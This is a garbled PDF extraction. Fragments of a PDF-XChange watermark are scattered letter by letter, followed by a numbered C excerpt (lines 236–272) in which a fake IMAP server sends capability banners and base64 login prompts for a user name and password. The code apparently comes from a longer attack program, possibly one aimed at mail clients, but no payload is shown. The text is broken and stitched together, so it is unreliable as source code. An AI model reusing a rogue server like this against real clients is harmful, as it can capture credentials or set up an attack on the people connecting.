 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

236

237send(csockfd, sendbuf, strlen(sendbuf), 0);

238recv(csockfd, recvbuf, sizeof(recvbuf), 0);

240 printf(".");

241

242snprintf(sendbuf, sizeof(sendbuf),

243"* CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN"

244" SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND"

245" LOGIN-REFERRALS AUTH=LOGIN\r\n"

246" 00000000 OK CAPABILITY completed\r\n");

247send(csockfd, sendbuf, strlen(sendbuf), 0);

248recv(csockfd, recvbuf, sizeof(recvbuf), 0);

249

250 printf(".");

251

252snprintf(sendbuf, sizeof(sendbuf), "+ VXNlciBOYW1lAA==\r\n");

253send(csockfd, sendbuf, strlen(sendbuf), 0);

254recv(csockfd, recvbuf, sizeof(recvbuf), 0);

255

256 printf(".");

257

258snprintf(sendbuf, sizeof(sendbuf), "+ UGFzc3dvcmQA\r\n");

259send(csockfd, sendbuf, strlen(sendbuf), 0);

260recv(csockfd, recvbuf, sizeof(recvbuf), 0);

261

262 printf(".");

263

264snprintf(sendbuf, sizeof(sendbuf),

265"* CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN "

266"SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND\r\n"

267"00000001 OK AUTHENTICATE completed\r\n");

268

269send(csockfd, sendbuf, strlen(sendbuf), 0);

270recv(csockfd, recvbuf, sizeof(recvbuf), 0);

272 printf(".");